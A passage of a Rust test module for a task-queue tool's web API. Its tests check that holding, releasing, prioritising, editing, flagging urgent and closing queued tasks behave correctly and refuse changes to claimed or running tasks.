16869        // Legacy first entry, then a web resume that parked for an upgrade,
16870        // then the daemon's pass: the legacy entry must stay unknown.
16871        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16872        web0.task_entry = false;
16873        let run = flow_run(RunStatus::Implementing, |s| {
16874            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16875        });
16876        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16877        assert!(h[0].pass.is_none());
16878        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16879        assert!(h[1].pass.is_some());
16880    }
16881
16882    #[tokio::test]
16883    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16884        let dir = tempfile::tempdir().unwrap();
16885        let queue = Queue::at(dir.path().join("queue"));
16886        let ui = Arc::new(Ui::new(
16887            queue.clone(),
16888            Questions::at(dir.path().join("questions")),
16889            Talks::at(dir.path().join("talks")),
16890            dir.path().join("runs"),
16891            dir.path().to_path_buf(),
16892            dir.path().to_path_buf(),
16893        ));
16894        let mut t = Task::new(
16895            "recover".into(),
16896            "Inspect".into(),
16897            PathBuf::from("."),
16898            Source::Human,
16899        );
16900        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16901        t.start("run-A".into());
16902        t.release_operator("choice", Some("resume-question"));
16903        t.resume_override = Some(crate::queue::OperatorResume {
16904            question_id: "resume-question".into(),
16905            at: jiff::Timestamp::now(),
16906            conductor_rehold: None,
16907            forced: true,
16908            pinned_run: Some("run-A".into()),
16909        });
16910        t.hold_machine(Some("inspection pending".into()));
16911        t.edit("recover".into(), "Reuse approved PR head".into())
16912            .unwrap();
16913        queue.put(&mut t).unwrap();
16914        let mut cli = t.clone();
16915        cli.release_operator("cli", None);
16916        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16917        let reloaded = queue.get(&t.id).unwrap();
16918        assert_eq!(reply.task.status, TaskStatus::Queued);
16919        assert!(reloaded.resume_override.is_none());
16920        assert_eq!(reloaded.answers, t.answers);
16921        let mut web = reloaded.resumption.unwrap();
16922        let cli = cli.resumption.unwrap();
16923        assert_eq!(web.source, "web");
16924        web.source = cli.source.clone();
16925        web.at = cli.at;
16926        assert_eq!(web, cli);
16927    }
16928
16929    #[tokio::test]
16930    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16931        let f = Fixture::start().await;
16932        let queue = f.queue();
16933        let mut task = Task::new(
16934            "spent".to_owned(),
16935            "Try again".to_owned(),
16936            PathBuf::from("/repo/magi"),
16937            Source::Human,
16938        );
16939        task.start("20260902-140502-bbbb".to_owned());
16940        task.fail("agent gave up", 9);
16941        queue.put(&mut task).expect("file the task");
16942
16943        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16944        assert_eq!(held.status, 200);
16945        assert_eq!(held.json()["status_str"], "held");
16946
16947        let released = f
16948            .post(&format!("/api/queue/{}/release", task.id), None)
16949            .await;
16950        assert_eq!(released.status, 200);
16951        assert_eq!(released.json()["status_str"], "queued");
16952        assert_eq!(released.json()["resumption"]["source"], "web");
16953        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16954        let mut cli = task.clone();
16955        cli.release_operator("cli", None);
16956        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16957        let cli = cli.resumption.unwrap();
16958        assert_eq!(web.instruction, cli.instruction);
16959        assert_eq!(web.answers_through, cli.answers_through);
16960        assert_eq!(web.runs_through, cli.runs_through);
16961        assert_eq!(web.cleared_reason, cli.cleared_reason);
16962        assert_eq!(
16963            released.json()["attempts"],
16964            0,
16965            "release is a real second chance, not an instant re-hold"
16966        );
16967        assert_eq!(
16968            queue.get(&task.id).expect("reload").status,
16969            TaskStatus::Queued,
16970            "the change is on disk, not only in the reply"
16971        );
16972        assert!(
16973            !f.home
16974                .path()
16975                .join("queue")
16976                .join(format!("{}.lock", task.id))
16977                .exists(),
16978            "the claim the mutation took is released again"
16979        );
16980    }
16981
16982    #[tokio::test]
16983    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16984        let f = Fixture::start().await;
16985        let queue = f.queue();
16986        let mut task = Task::new(
16987            "busy".to_owned(),
16988            "Running right now".to_owned(),
16989            PathBuf::from("/repo/magi"),
16990            Source::Human,
16991        );
16992        queue.put(&mut task).expect("file the task");
16993        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16994
16995        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16996
16997        assert_eq!(res.status, 409);
16998        assert_eq!(
16999            queue.get(&task.id).expect("reload").status,
17000            TaskStatus::Queued,
17001            "the refused hold changed nothing"
17002        );
17003    }
17004
17005    #[tokio::test]
17006    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17007        let f = Fixture::start().await;
17008        let queue = f.queue();
17009        let mut task = Task::new(
17010            "waiting on the migration".to_owned(),
17011            "Do the thing".to_owned(),
17012            PathBuf::from("/repo/magi"),
17013            Source::Human,
17014        );
17015        queue.put(&mut task).expect("file the task");
17016
17017        let held = f
17018            .post(
17019                &format!("/api/queue/{}/hold", task.id),
17020                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17021            )
17022            .await;
17023        assert_eq!(held.status, 200, "{}", held.body);
17024        assert_eq!(held.json()["status_str"], "held");
17025        assert_eq!(
17026            held.json()["hold_reason"],
17027            "waiting for 20260101-000000-aaaa to land"
17028        );
17029
17030        let listed = f.get("/api/queue").await.json();
17031        assert_eq!(
17032            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17033            "the card reads the reason off the same list route"
17034        );
17035
17036        // A hold with no body at all must keep working - most holds have no
17037        // reason to give.
17038        let mut plain = Task::new(
17039            "no reason given".to_owned(),
17040            "Do another thing".to_owned(),
17041            PathBuf::from("/repo/magi"),
17042            Source::Human,
17043        );
17044        queue.put(&mut plain).expect("file the task");
17045        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17046        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17047        assert!(held_plain.json()["hold_reason"].is_null());
17048
17049        let released = f
17050            .post(&format!("/api/queue/{}/release", task.id), None)
17051            .await;
17052        assert_eq!(released.status, 200);
17053        assert!(
17054            released.json()["hold_reason"].is_null(),
17055            "a release must clear the reason so the next hold does not inherit it"
17056        );
17057    }
17058
17059    #[test]
17060    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17061        for urgent in [true, false] {
17062            let body: UrgentBody =
17063                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17064            assert_eq!(body.urgent, urgent);
17065        }
17066        for input in [
17067            r#"{}"#,
17068            r#"{"urgent":null}"#,
17069            r#"{"urgent":"true"}"#,
17070            r#"{"urgent":1}"#,
17071            r#"{"urgent":true,"extra":false}"#,
17072        ] {
17073            assert!(
17074                serde_json::from_str::<UrgentBody>(input).is_err(),
17075                "{input}"
17076            );
17077        }
17078    }
17079
17080    #[tokio::test]
17081    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17082        let home = TempDir::new().unwrap();
17083        let q = Queue::at(home.path().join("queue"));
17084        let ui = Arc::new(Ui::new(
17085            q.clone(),
17086            Questions::at(home.path().join("questions")),
17087            Talks::at(home.path().join("talks")),
17088            home.path().join("runs"),
17089            home.path().into(),
17090            home.path().into(),
17091        ));
17092        let mut task = Task::new(
17093            "urgent handler".into(),
17094            "keep".into(),
17095            home.path().into(),
17096            Source::Human,
17097        );
17098        for status in [TaskStatus::Queued, TaskStatus::Held] {
17099            task.status = status;
17100            q.put(&mut task).unwrap();
17101            for urgent in [true, true, false, false] {
17102                let saved = queue_urgent(
17103                    State(Arc::clone(&ui)),
17104                    Path(task.short().into()),
17105                    Ok(Json(UrgentBody { urgent })),
17106                )
17107                .await
17108                .unwrap();
17109                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17110                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17111            }
17112        }
17113        task.status = TaskStatus::Queued;
17114        q.put(&mut task).unwrap();
17115        let claim = q.claim(&task.id).unwrap();
17116        let error = queue_urgent(
17117            State(Arc::clone(&ui)),
17118            Path(task.id.clone()),
17119            Ok(Json(UrgentBody { urgent: true })),
17120        )
17121        .await
17122        .unwrap_err();
17123        assert_eq!(error.status, StatusCode::CONFLICT);
17124        assert!(error.message.contains("released"));
17125        drop(claim);
17126        for status in [
17127            TaskStatus::Running,
17128            TaskStatus::Done,
17129            TaskStatus::Failed,
17130            TaskStatus::Blocked,
17131            TaskStatus::Parked,
17132        ] {
17133            task.status = status;
17134            q.put(&mut task).unwrap();
17135            let error = queue_urgent(
17136                State(Arc::clone(&ui)),
17137                Path(task.id.clone()),
17138                Ok(Json(UrgentBody { urgent: false })),
17139            )
17140            .await
17141            .unwrap_err();
17142            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17143            assert!(error.message.contains(status.as_str()));
17144        }
17145    }
17146
17147    #[tokio::test]
17148    async fn urgent_api_updates_preserves_and_validates_tasks() {
17149        let f = Fixture::start().await;
17150        let q = f.queue();
17151        let mut t = Task::new(
17152            "urgent API".into(),
17153            "unchanged".into(),
17154            PathBuf::from("/repo/magi"),
17155            Source::Human,
17156        );
17157        t.attempts = 2;
17158        t.priority = 9;
17159        t.interrupt = true;
17160        t.hold_reason = Some("waiting for approval".into());
17161        for status in [TaskStatus::Queued, TaskStatus::Held] {
17162            t.status = status;
17163            q.put(&mut t).unwrap();
17164            for urgent in [true, true, false, false] {
17165                let response = f
17166                    .post(
17167                        &format!("/api/queue/{}/urgent", t.short()),
17168                        Some(&format!("{{\"urgent\":{urgent}}}")),
17169                    )
17170                    .await;
17171                assert_eq!(response.status, 200, "{}", response.body);
17172                assert_eq!(response.json()["urgent"], urgent);
17173                let saved = q.get(&t.id).unwrap();
17174                let mut before = serde_json::to_value(&t).unwrap();
17175                let mut after = serde_json::to_value(saved).unwrap();
17176                before["urgent"] = urgent.into();
17177                before.as_object_mut().unwrap().remove("updated_at");
17178                after.as_object_mut().unwrap().remove("updated_at");
17179                assert_eq!(after, before);
17180            }
17181        }
17182        let route = format!("/api/queue/{}/urgent", t.id);
17183        for body in [
17184            r#"{}"#,
17185            r#"{"urgent":null}"#,
17186            r#"{"urgent":"true"}"#,
17187            r#"{"urgent":1}"#,
17188            r#"{"urgent":true,"extra":false}"#,
17189            "{",
17190        ] {
17191            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17192        }
17193        t.status = TaskStatus::Queued;
17194        q.put(&mut t).unwrap();
17195        let claim = q.claim(&t.id).unwrap();
17196        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17197        assert_eq!(response.status, 409, "{}", response.body);
17198        assert!(!q.get(&t.id).unwrap().urgent);
17199        drop(claim);
17200        for status in [
17201            TaskStatus::Running,
17202            TaskStatus::Done,
17203            TaskStatus::Failed,
17204            TaskStatus::Blocked,
17205            TaskStatus::Parked,
17206        ] {
17207            t.status = status;
17208            q.put(&mut t).unwrap();
17209            for urgent in [true, false] {
17210                let response = f
17211                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17212                    .await;
17213                assert_eq!(response.status, 400, "{}", response.body);
17214                assert!(response.body.contains(status.as_str()));
17215                assert!(response.body.contains("queued or held"));
17216                assert!(!q.get(&t.id).unwrap().urgent);
17217            }
17218        }
17219        assert_eq!(
17220            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17221                .await
17222                .status,
17223            404
17224        );
17225    }
17226
17227    #[tokio::test]
17228    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17229        let f = Fixture::start().await;
17230        let queue = f.queue();
17231        let mut older = Task::new(
17232            "filed first".to_owned(),
17233            "x".to_owned(),
17234            PathBuf::from("/repo/magi"),
17235            Source::Human,
17236        );
17237        older.id = "20260101-000001-aaaa".to_owned();
17238        let mut newer = Task::new(
17239            "filed second".to_owned(),
17240            "x".to_owned(),
17241            PathBuf::from("/repo/magi"),
17242            Source::Human,
17243        );
17244        newer.id = "20260101-000002-bbbb".to_owned();
17245        queue.put(&mut older).expect("file older");
17246        queue.put(&mut newer).expect("file newer");
17247
17248        // Equal priority: the newer task leads, the same order the old
17249        // newest-first `list()` already gave every equal-priority queue.
17250        let before = f.get("/api/queue").await.json();
17251        assert_eq!(before[0]["id"], newer.id);
17252        assert_eq!(before[1]["id"], older.id);
17253
17254        // Raising the *older* task is the meaningful case: it can only lead
17255        // now because its priority says so, not because it happens to be
17256        // newest.
17257        let raised = f
17258            .post(
17259                &format!("/api/queue/{}/priority", older.id),
17260                Some(r#"{"priority":10}"#),
17261            )
17262            .await;
17263        assert_eq!(raised.status, 200, "{}", raised.body);
17264        assert_eq!(raised.json()["priority"], 10);
17265
17266        let after = f.get("/api/queue").await.json();
17267        let names: Vec<&str> = after
17268            .as_array()
17269            .unwrap()
17270            .iter()
17271            .map(|t| t["id"].as_str().unwrap())
17272            .collect();
17273        // Highest priority first, which is the order next_runnable and
17274        // `magi task list` both use - GET /api/queue must agree with it
17275        // immediately, not just once the loop claims the task.
17276        assert_eq!(names[0], older.id, "the raised task now sorts first");
17277    }
17278
17279    #[tokio::test]
17280    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17281        let dir = TempDir::new().unwrap();
17282        let q = Queue::at(dir.path().join("queue"));
17283        let ui = Arc::new(Ui::new(
17284            q.clone(),
17285            Questions::at(dir.path().join("questions")),
17286            Talks::at(dir.path().join("talks")),
17287            dir.path().join("runs"),
17288            dir.path().to_path_buf(),
17289            dir.path().to_path_buf(),
17290        ));
17291        let mut t = Task::new(
17292            "budget".into(),
17293            "keep".into(),
17294            dir.path().into(),
17295            Source::Human,
17296        );
17297        t.attempts = 2;
17298        t.runs.push("prior-run".into());
17299        t.hold_manual(Some("waiting".into()));
17300        q.put(&mut t).unwrap();
17301        let change = |value| {
17302            queue_attempt_limit(
17303                State(ui.clone()),
17304                Path(t.id.clone()),
17305                Ok(Json(AttemptLimitBody {
17306                    attempt_limit: value,
17307                })),
17308            )
17309        };
17310        for value in [
17311            serde_json::json!(3),
17312            serde_json::Value::Null,
17313            serde_json::json!(1),
17314        ] {
17315            let response = change(value.clone()).await.unwrap();
17316            assert_eq!(
17317                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17318                value
17319            );
17320            let saved = q.get(&t.id).unwrap();
17321            assert_eq!(
17322                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17323                value
17324            );
17325            assert_eq!(saved.status, TaskStatus::Held);
17326            assert_eq!(saved.attempts, t.attempts);
17327            assert_eq!(saved.runs, t.runs);
17328            assert_eq!(saved.hold_reason, t.hold_reason);
17329            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17330                .await
17331                .unwrap()
17332                .0;
17333            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17334            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17335            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17336            assert_eq!(outcome.max_attempts, detail.max_attempts);
17337        }
17338        for value in [
17339            serde_json::json!(0),
17340            serde_json::json!(-1),
17341            serde_json::json!(1.5),
17342            serde_json::json!("3"),
17343            serde_json::json!(true),
17344        ] {
17345            assert_eq!(
17346                change(value).await.err().unwrap().status,
17347                StatusCode::BAD_REQUEST
17348            );
17349        }
17350        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17351        let claim = q.claim(&t.id).unwrap();
17352        assert_eq!(
17353            change(serde_json::json!(4)).await.err().unwrap().status,
17354            StatusCode::CONFLICT
17355        );
17356        drop(claim);
17357        for status in [
17358            TaskStatus::Running,
17359            TaskStatus::Done,
17360            TaskStatus::Failed,
17361            TaskStatus::Blocked,
17362            TaskStatus::Parked,
17363        ] {
17364            let mut stored = q.get(&t.id).unwrap();
17365            stored.status = status;
17366            q.put(&mut stored).unwrap();
17367            assert_eq!(
17368                change(serde_json::json!(4)).await.err().unwrap().status,
17369                StatusCode::BAD_REQUEST
17370            );
17371            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17372        }
17373        let mut stored = q.get(&t.id).unwrap();
17374        stored.status = TaskStatus::Queued;
17375        q.put(&mut stored).unwrap();
17376        let _ = change(serde_json::Value::Null).await.unwrap();
17377        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17378    }
17379
17380    #[tokio::test]
17381    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17382        let dir = TempDir::new().unwrap();
17383        let repo = dir.path().join("repo");
17384        std::fs::create_dir(&repo).unwrap();
17385        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17386        let q = Queue::at(dir.path().join("queue"));
17387        let ui = Arc::new(Ui::new(
17388            q.clone(),
17389            Questions::at(dir.path().join("questions")),
17390            Talks::at(dir.path().join("talks")),
17391            dir.path().join("runs"),
17392            dir.path().to_path_buf(),
17393            repo.clone(),
17394        ));
17395        let mut t = Task::new(
17396            "seats".into(),
17397            "keep instruction".into(),
17398            repo,
17399            Source::Human,
17400        );
17401        t.runs.push("prior-run".into());
17402        t.hold_manual(Some("waiting".into()));
17403        q.put(&mut t).unwrap();
17404        let change = |count| {
17405            queue_implementers(
17406                State(ui.clone()),
17407                Path(t.id.clone()),
17408                Ok(Json(ImplementersBody {
17409                    implementers: count,
17410                })),
17411            )
17412        };
17413        for count in [2, 1, 2] {
17414            let response = change(count).await.unwrap();
17415            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17416            let saved = q.get(&t.id).unwrap();
17417            assert_eq!(saved.implementers(), Some(usize::from(count)));
17418            assert_eq!(saved.runs, t.runs);
17419            assert_eq!(saved.instruction, t.instruction);
17420        }
17421        for count in [0, 4] {
17422            assert_eq!(
17423                change(count).await.err().unwrap().status,
17424                StatusCode::BAD_REQUEST
17425            );
17426        }
17427        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17428        let claim = q.claim(&t.id).unwrap();
17429        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17430        drop(claim);
17431        for status in [
17432            TaskStatus::Running,
17433            TaskStatus::Done,
17434            TaskStatus::Failed,
17435            TaskStatus::Blocked,
17436            TaskStatus::Parked,
17437        ] {
17438            let mut stored = q.get(&t.id).unwrap();
17439            stored.status = status;
17440            q.put(&mut stored).unwrap();
17441            assert_eq!(
17442                change(1).await.err().unwrap().status,
17443                StatusCode::BAD_REQUEST
17444            );
17445            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17446        }
17447    }
17448
17449    #[tokio::test]
17450    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17451        let f = Fixture::start().await;
17452        let queue = f.queue();
17453        let mut task = Task::new(
17454            "in flight".to_owned(),
17455            "x".to_owned(),
17456            PathBuf::from("/repo/magi"),
17457            Source::Human,
17458        );
17459        task.start("20260902-140502-bbbb".to_owned());
17460        queue.put(&mut task).expect("file the task");
17461
17462        let res = f
17463            .post(
17464                &format!("/api/queue/{}/priority", task.id),
17465                Some(r#"{"priority":9}"#),
17466            )
17467            .await;
17468        assert_eq!(res.status, 400, "{}", res.body);
17469        assert!(
17470            res.json()["error"]
17471                .as_str()
17472                .is_some_and(|e| e.contains("running")),
17473            "{}",
17474            res.body
17475        );
17476        assert_eq!(
17477            queue.get(&task.id).expect("reload").priority,
17478            0,
17479            "the refused write must not partially apply"
17480        );
17481    }
17482
17483    #[tokio::test]
17484    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17485        let f = Fixture::start().await;
17486        let queue = f.queue();
17487        let mut task = Task::new(
17488            "old title".to_owned(),
17489            "old instruction".to_owned(),
17490            PathBuf::from("/repo/magi"),
17491            Source::Agent {
17492                run: "20260101-000000-beef".to_owned(),
17493                node: "implement".to_owned(),
17494            },
17495        );
17496        task.runs.push("20260101-000000-beef".to_owned());
17497        queue.put(&mut task).expect("file the task");
17498        let created_at = task.created_at;
17499
17500        let edited = f
17501            .post(
17502                &format!("/api/queue/{}/edit", task.id),
17503                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17504            )
17505            .await;
17506        assert_eq!(edited.status, 200, "{}", edited.body);
17507        let body = edited.json();
17508        assert_eq!(body["title"], "new title");
17509        assert_eq!(body["instruction"], "new instruction");
17510        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17511        assert_eq!(body["created_at"], created_at.to_string());
17512        assert_eq!(
17513            body["source"]["kind"], "agent",
17514            "editing a task an agent filed must not turn it human: {body}"
17515        );
17516        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17517
17518        let reloaded = queue.get(&task.id).expect("reload");
17519        assert_eq!(reloaded.title, "new title");
17520        assert_eq!(reloaded.instruction, "new instruction");
17521    }
17522
17523    #[tokio::test]
17524    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17525        // The judge is an agent now: a repo whose only agent answers
17526        // "duplicate" stands in for it, so the refusal is the judge's.
17527        let tmp = TempDir::new().expect("tempdir");
17528        let repo = tmp.path().join("repo");
17529        std::fs::create_dir_all(&repo).expect("repo dir");
17530        let judge = MOCK_AGENT_TOML.replace(
17531            "printf ok",
17532            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17533        );
17534        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17535        let f = Fixture::with_repo(repo.clone()).await;
17536        let queue = f.queue();
17537        let mut owner = Task::new(
17538            "owner".to_owned(),
17539            "review it".to_owned(),
17540            repo.clone(),
17541            Source::Human,
17542        );
17543        owner.review_branch = Some("magi/ab12/A".to_owned());
17544        queue.put(&mut owner).expect("file the owner");
17545        let mut task = Task::new(
17546            "draft".to_owned(),
17547            "old".to_owned(),
17548            repo.clone(),
17549            Source::Human,
17550        );
17551        queue.put(&mut task).expect("file the draft");
17552        let url = format!("/api/queue/{}/edit", task.id);
17553
17554        let refused = f
17555            .post(
17556                &url,
17557                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17558            )
17559            .await;
17560        assert_eq!(refused.status, 409, "{}", refused.body);
17561        let msg = refused.json()["error"]
17562            .as_str()
17563            .unwrap_or_default()
17564            .to_owned();
17565        assert!(
17566            msg.contains("magi/ab12/A") && msg.contains("force"),
17567            "{msg}"
17568        );
17569        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17570
17571        let forced = f
17572            .post(
17573                &url,
17574                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17575            )
17576            .await;
17577        assert_eq!(forced.status, 200, "{}", forced.body);
17578    }
17579
17580    #[tokio::test]
17581    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17582        let f = Fixture::start().await;
17583        let queue = f.queue();
17584        let mut task = Task::new(
17585            "in flight".to_owned(),
17586            "do not touch".to_owned(),
17587            PathBuf::from("/repo/magi"),
17588            Source::Human,
17589        );
17590        task.start("20260902-140502-bbbb".to_owned());
17591        queue.put(&mut task).expect("file the task");
17592
17593        let res = f
17594            .post(
17595                &format!("/api/queue/{}/edit", task.id),
17596                Some(r#"{"title":"x","instruction":"y"}"#),
17597            )
17598            .await;
17599        assert_eq!(res.status, 400, "{}", res.body);
17600        assert!(
17601            res.json()["error"]
17602                .as_str()
17603                .is_some_and(|e| e.contains("running")),
17604            "{}",
17605            res.body
17606        );
17607        assert_eq!(
17608            queue.get(&task.id).expect("reload").instruction,
17609            "do not touch",
17610            "the refused edit must not change the file"
17611        );
17612    }
17613
17614    #[tokio::test]
17615    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17616        let f = Fixture::start().await;
17617        let queue = f.queue();
17618        let mut task = Task::new(
17619            "busy".to_owned(),
17620            "Running right now".to_owned(),
17621            PathBuf::from("/repo/magi"),
17622            Source::Human,
17623        );
17624        queue.put(&mut task).expect("file the task");
17625        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17626
17627        let priority = f
17628            .post(
17629                &format!("/api/queue/{}/priority", task.id),
17630                Some(r#"{"priority":9}"#),
17631            )
17632            .await;
17633        assert_eq!(priority.status, 409, "{}", priority.body);
17634
17635        let edit = f
17636            .post(
17637                &format!("/api/queue/{}/edit", task.id),
17638                Some(r#"{"title":"x","instruction":"y"}"#),
17639            )
17640            .await;
17641        assert_eq!(edit.status, 409, "{}", edit.body);
17642    }
17643
17644    #[tokio::test]
17645    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17646        let f = Fixture::start().await;
17647        let queue = f.queue();
17648        let mut task = Task::new(
17649            "shipped by hand".to_owned(),
17650            "merged outside the loop".to_owned(),
17651            PathBuf::from("/repo/magi"),
17652            Source::Agent {
17653                run: "20260101-000000-b455".to_owned(),
17654                node: "implement".to_owned(),
17655            },
17656        );
17657        task.runs.push("20260101-000000-b455".to_owned());
17658        task.runs.push("20260101-000000-9af4".to_owned());
17659        queue.put(&mut task).expect("file the task");
17660        let created_at = task.created_at;
17661
17662        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17663        assert_eq!(done.status, 200, "{}", done.body);
17664        assert_eq!(done.json()["status_str"], "done");
17665
17666        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17667        assert_eq!(
17668            reloaded.runs,
17669            ["20260101-000000-b455", "20260101-000000-9af4"]
17670        );
17671        assert_eq!(
17672            reloaded.source,
17673            Source::Agent {
17674                run: "20260101-000000-b455".to_owned(),
17675                node: "implement".to_owned(),
17676            }
17677        );
17678        assert_eq!(reloaded.created_at, created_at);
17679    }
17680
17681    #[tokio::test]
17682    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17683        // `done` is allowed on any status, including `held`, with no release
17684        // in between - so a task held for a reason and then closed directly
17685        // must not keep reading as "waiting on" it afterwards, on its card or
17686        // in `magi task show`.
17687        let f = Fixture::start().await;
17688        let queue = f.queue();
17689        let mut task = Task::new(
17690            "landed while held".to_owned(),
17691            "x".to_owned(),
17692            PathBuf::from("/repo/magi"),
17693            Source::Human,
17694        );
17695        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17696        queue.put(&mut task).expect("file the held task");
17697
17698        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17699        assert_eq!(done.status, 200, "{}", done.body);
17700        assert_eq!(done.json()["status_str"], "done");
17701        assert!(
17702            done.json()["hold_reason"].is_null(),
17703            "a done task cannot still be waiting on something: {}",
17704            done.body
17705        );
17706    }
17707
17708    #[tokio::test]
17709    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17710        // `queue_done` is the phone's way to close a task the loop never
17711        // settled itself - after confirming a manual GitHub merge, say - and
17712        // that is just as much "this task's story is over" as the loop's own
17713        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17714        let f = Fixture::start().await;
17715        let queue = f.queue();
17716        let runs = f.runs();
17717        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17718        // The last attempt has to have actually landed for the earlier one
17719        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17720        // for the case where it didn't.
17721        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17722
17723        let mut task = Task::new(
17724            "landed by hand".to_owned(),
17725            "x".to_owned(),
17726            PathBuf::from("/repo/magi"),
17727            Source::Human,
17728        );
17729        task.runs.push("20260101-000000-doa1".to_owned());
17730        task.runs.push("20260101-000000-doa2".to_owned());
17731        queue.put(&mut task).expect("file the task");
17732
17733        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17734        assert_eq!(done.status, 200, "{}", done.body);
17735
17736        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17737            .expect("run still on disk under this fixture's own home");
17738        assert_eq!(
17739            reloaded_run.status,
17740            RunStatus::Superseded,
17741            "closing the task by hand must relabel the earlier blocked attempt exactly \
17742             like the loop's own settle path does"
17743        );
17744    }
17745
17746    #[tokio::test]
17747    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17748        // Closing a task by hand is allowed from any status, including one
17749        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17750        // manual merge the loop never watched, say. Nothing here is provably
17751        // why the task is done, so nothing earlier gets relabelled either.
17752        let f = Fixture::start().await;
17753        let queue = f.queue();
17754        let runs = f.runs();
17755        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17756        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17757
17758        let mut task = Task::new(
17759            "closed with nothing actually landed".to_owned(),
17760            "x".to_owned(),
17761            PathBuf::from("/repo/magi"),
17762            Source::Human,
17763        );
17764        task.runs.push("20260101-000000-dob1".to_owned());
17765        task.runs.push("20260101-000000-dob2".to_owned());
17766        queue.put(&mut task).expect("file the task");
17767
17768        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17769        assert_eq!(done.status, 200, "{}", done.body);
17770
17771        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17772            .expect("run still on disk under this fixture's own home");
17773        assert_eq!(
17774            reloaded_run.status,
17775            RunStatus::Blocked,
17776            "the last recorded attempt never landed, so the earlier one must not be \
17777             relabelled as superseded by it"
17778        );
17779    }
17780
17781    #[tokio::test]
17782    async fn unknown_ids_are_json_not_found_on_both_stores() {
17783        let f = Fixture::start().await;
17784
17785        let run = f.get("/api/runs/nosuchrun").await;
17786        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17787
17788        assert_eq!(run.status, 404);
17789        assert_eq!(task.status, 404);
17790        assert!(
17791            run.json()["error"]
17792                .as_str()
17793                .is_some_and(|e| e.contains("run")),
17794            "the error names what was not found: {}",
17795            run.body
17796        );
17797        assert!(
17798            task.json()["error"]
17799                .as_str()
